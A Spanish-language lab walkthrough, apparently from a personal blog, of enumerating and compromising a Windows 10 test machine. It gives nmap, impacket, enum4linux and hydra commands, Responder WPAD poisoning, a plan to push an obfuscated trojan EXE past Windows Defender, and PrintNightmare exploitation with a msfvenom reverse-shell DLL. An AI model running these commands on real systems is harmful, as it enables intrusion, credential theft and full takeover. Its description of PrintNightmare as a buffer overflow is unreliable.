
Hola a todos los lectores. El walkthrough que se realizará a continuación forma parte de una serie de máquinas que hemos estado auditando con el fin de explotar alguna vulnerabilidad. En esta prueba, vamos a realizar exámenes exhaustivos para recolectar información que de por sí, en esta máquina concretamente es escasa.
# RESUMEN DE CONTENIDOS
# DESCUBRIMIENTO
Sabiendo ya la IP del Host, vamos a lanzar un comando nmap completo para revelar cuanta más información del host sea posible:
sudo nmap 192.168.86.138 -sS -sV -p- -A -O --script=discovery,vuln -oS scan.nmap
Como resultado podemos observar los siguientes puertos abiertos:
- 135/tcp open msrpc: Microsoft Windows RPC
- 139/tcp open netbios-ssn: Microsoft Windows netbios-ssn
- |_smb-enum-services: ERROR: Script execution failed (use -d to debug)
- 445/tcp open microsoft-ds: Windows 10 Pro 10240 microsoft-ds (workgroup: WORKGROUP)
- |_smb-enum-services: ERROR: Script execution failed (use -d to debug)
- 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
También, gracias al script smb-enum, hemos podido obtener la siguiente información del host:

# ENUMERACIÓN
Para profundizar más, escanearemos todos los puertos abiertos:
[TCP] 135 MSRPC (Windows Microsoft RPC)
El protocolo de llamada a procedimiento remoto de Microsoft (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin comprender las características específicas de la red, se derivó inicialmente de un software de código abierto y luego fue desarrollado y protegido por derechos de autor por Microsoft.
Para esta prueba, comenzaremos analizando los End-points con impacket:
impacket-rpcdump -port 135 <target-ip> | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR'
Como resultado obtenemos el siguiente output:

MS-RPRN, MS-PAR: Podría ser vulnerable a PrintNightmare.
Dejando a un lado esto, como posible vía de explotación, continuaremos intentando un inicio de sesión anónimo para obtener mas información del hosts o sus posibles usuarios:
rpcclient -N -U "" 192.168.86.138
Por desgracia no estaría habilitado el inicio de sesión anónima por tanto, sin un nombre de usuario, no podríamos hacer nada más.
Tendríamos que continuar enumerando para ver si obtenemos algún nombre de usuario:
[TCP] 139 NETBIOS-SSN
Para interacciones orientadas a conexión, el Servicio de Sesión facilita una conversación entre dos dispositivos, aprovechando las conexiones TCP a través del puerto 139/tcp. Una sesión comienza con un paquete de "Solicitud de sesión" y se puede establecer en función de la respuesta. El servicio admite mensajes más grandes, detección de errores y recuperación, con TCP manejando el control de flujo y la retransmisión de paquetes.
Para enumerar este puerto vamos a usar 3 Herramientas, para así observar el contraste entre la información de ambas:
- NMBLOOKUP:
nmblookup -A 192.168.86.138

- NBTSCAN:
nbtscan 192.168.86.138/30

- NMAP:
nmap -sU -sV -T4 --script nbstat.nse -p 139 -Pn -n 192.168.86.138

DESKTOP-AL5S2FP <00>: Indica que es un nombre de equipo (host) que está activo.WORKGROUP <00>: Nombre del grupo de trabajo al que pertenece la máquina, también activo.DESKTOP-AL5S2FP <20>: Muestra que el dispositivo tiene un servicio de compartición de archivos o impresoras activo.WORKGROUP <1e>yWORKGROUP <1d>: Identifican al controlador de la lista de nombres del grupo de trabajo y al controlador principal de navegación, respectivamente.__MSBROWSE__<01>: Indica que el dispositivo está actuando como explorador de red, encargado de gestionar y anunciar la lista de equipos activos en el grupo de trabajo.
[TCP] 445 MICROSOFT-DS
El protocolo Server Message Block (SMB), que opera en un modelo cliente-servidor, está diseñado para regular el acceso a archivos, directorios y otros recursos de red como impresoras y enrutadores.
enum4linux -a 192.168.86.138

El servidor no nos deja iniciar sesión anónimamente, por tanto tendremos que obtener mas información del servicio para encontrar posibles versiones vulnerables o encontrar algún método para enumerar usuarios.
nmap -p445 --script smb-protocols 192.168.86.138

nmap -p445 --script smb-security-mode [IP]

No mucha mas información nos puede aportar este servicio sin ingresar las credenciales.
Ya que conocemos los usuarios por defecto de smb, vamos a realizarle un rápido ataque de diccionario para comprobar si podemos ingresar con alguno de los mismos:
hydra -L smb_default_usernames.txt -P /usr/share/wordlists/rockyou.txt.gz smb://192.168.86.138
[TCP] 5357 HTTP HTTPD2.0
El puerto 5357 TCP se asocia con el servicio WSDAPI (Web Services for Devices API), utilizado principalmente por Windows para facilitar la detección e interacción con dispositivos en la red, como impresoras y otros periféricos.
La enumeración de este puerto puede ayudar a descubrir dispositivos y servicios expuestos que utilizan el protocolo WSD.
nmap -p 5357 --script=http-enum,http-headers,http-title 192.168.86.138

Dado que WSDAPI usa HTTP sobre el puerto 5357, herramientas como curl o navegadores pueden probar la conexión y ver si hay una página web o respuesta:
curl http://192.168.86.156:5357
- Service Unavailable
- HTTP Error 503.
- (indica que el servidor no está listo para manejar la solicitud).
El protocolo WS-Discovery permite la detección de dispositivos en una red local. Existen herramientas y scripts personalizados que pueden aprovechar WS-Discovery para listar y descubrir dispositivos conectados.

Este es un ejemplo de tráfico de red WS-Discovery (Web Services Dynamic Discovery) usando el protocolo SOAP. En particular, muestra mensajes de tipo Hello enviados por dispositivos en la red local anunciando su presencia.
- Análisis: Los mensajes SOAP pueden ser analizados para entender qué dispositivos se anuncian y cómo se configuran.
- Scripts de automatización: Scripts en Python o PowerShell pueden ser usados para enviar solicitudes de WS-Discovery y analizar respuestas en redes locales.
En este caso, no recibimos respuestas ni información útil de este servicio. Pasamos a analizar paquetes con wireshark para obtener más información del tráfico:
- udp.port == 3702
- tcp.port == 5357
# EXPLOTACIÓN
En combinación con los datos que hemos obtenido, (que no han sido muchos) podemos concluir con las siguientes vías para explotar la máquina.
[SPOOFING] WPAD POISONING:
Analizando los paquetes de wireshark en busca de algo interesante, me topé con una petición de la victima al BROADCAST que requería el archivo wpad.dat. Entonces indagué y concreté lo siguiente:
WPAD Poisoning (Web Proxy Auto-Discovery Protocol Poisoning) es un tipo de ataque en redes locales que explota el protocolo WPAD para redirigir el tráfico de una red hacia un servidor malicioso, permitiendo a un atacante interceptar, espiar o manipular el tráfico de red. El protocolo WPAD es utilizado por muchos dispositivos y sistemas operativos para detectar automáticamente configuraciones de proxy en una red.
sudo responder -I "eth0"

El servidor responde maliciosamente a las peticiones de DESKTOP-AL5S2FP.
responder --interface "eth0" --wpad



Esta explotación requiere que la victima intente ingresar en el share del servidor SMB, Tanto por el explorador de archivos como con «ejecutar». Es un requisito fundamental que el archivo compartido ingresado sea erróneo o no exista para llevarlo a cabo.
Esta técnica de explotación podría aplicarse a una shell reversa siguiendo los siguientes pasos:
- Editar archivo de configuración de Responder.
- Crear un EXE malicioso
- Cuando la victima navegue a un dominio *.local que no existe, entonces una banner de proxy aparecerá y se descargará automáticamente un archivo que «es necesario instalar» pero en verdad es un troyano.

Cabe destacar que para que esta técnica funcione, debemos ofuscar el exe adecuadamente o windows Defender lo bloqueará.
Otra técnica mas discreta es spamear un login script, en lugar de hacer descargar el archivo:

En general, el sistema no presenta vulnerabilidades esenciales que permita a un atacante ganar acceso de manera directa. La explotación sería posible en combinación con algo de ingeniería social y los datos obtenidos durante la enumeración.
Sin mas preámbulo y dando por hecho que hemos conseguido vulnerar el sistema combinando varias técnicas tanto de enumeración como de explotación, podemos pasar al proceso de elevado de Privilegios.
# ESCALADO DE PRIVILEGIOS
Tengo que destacar que se ha tenido que configurar la victima, ya que existe una norma que restringe el login de cuentas con contraseña en blanco fuera del mismo teclado físico. Esta característica viene habilitada por defecto, y a un usuario normal con contraseña no le afecta.
[RCE] Print Nightmare (cve-2021-1675)
Si recordáis anteriormente en la fase de enumeración, identificamos dos procesos interesantes relacionados con impresión: MS-RPRN, MS-PAR: Vulnerables a PrintNightmare.
La vulnerabilidad CVE-2021-1675 (PrintNightmare) se debe a un desbordamiento de búfer en el servicio Print Spooler de Windows. Permite que un atacante ejecute código arbitrario en el sistema con privilegios elevados, comprometiendo la seguridad del sistema afectado.
Para explotar esta vulnerabilidad, debemos tener acceso a algún usuario dentro del servidor SMB, en nuestro caso, viene configurado el usuario «vulcano» sin contraseña alguna.
El primer paso para explotar la vulnerabilidad es generar un dll malicioso el cual alojaremos en una carpeta creada por nosotros llamada share y la subiremos a un servidor SMB:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IPADDRESS LPORT=31337 -f dll -o evilPrint.dll
smbserver.py share /path/where_is/share/ -smb2support

El siguiente paso, será iniciar un multi/handler con msfconsole, y ejecutar el script de dicha explotación, https://github.com/tryhackme/CVE-2021-1675.git
python CVE-2021-1675.py 192.168.86.160/vulcano:@192.168.86.160 \\192.168.86.155\share\evilPrint.dll

Así mismo, con nuestro listener activo, nos debería de brindar ya la shell meterpreter:

Como podemos ver, esta vulnerabilidad nos proporciona acceso completo al sistema con nt authority\system, por tanto, la máquina queda totalmente comprometida.
Muchas gracias por haber leído este post.
Soy El GrayHatter y este es mi blog.
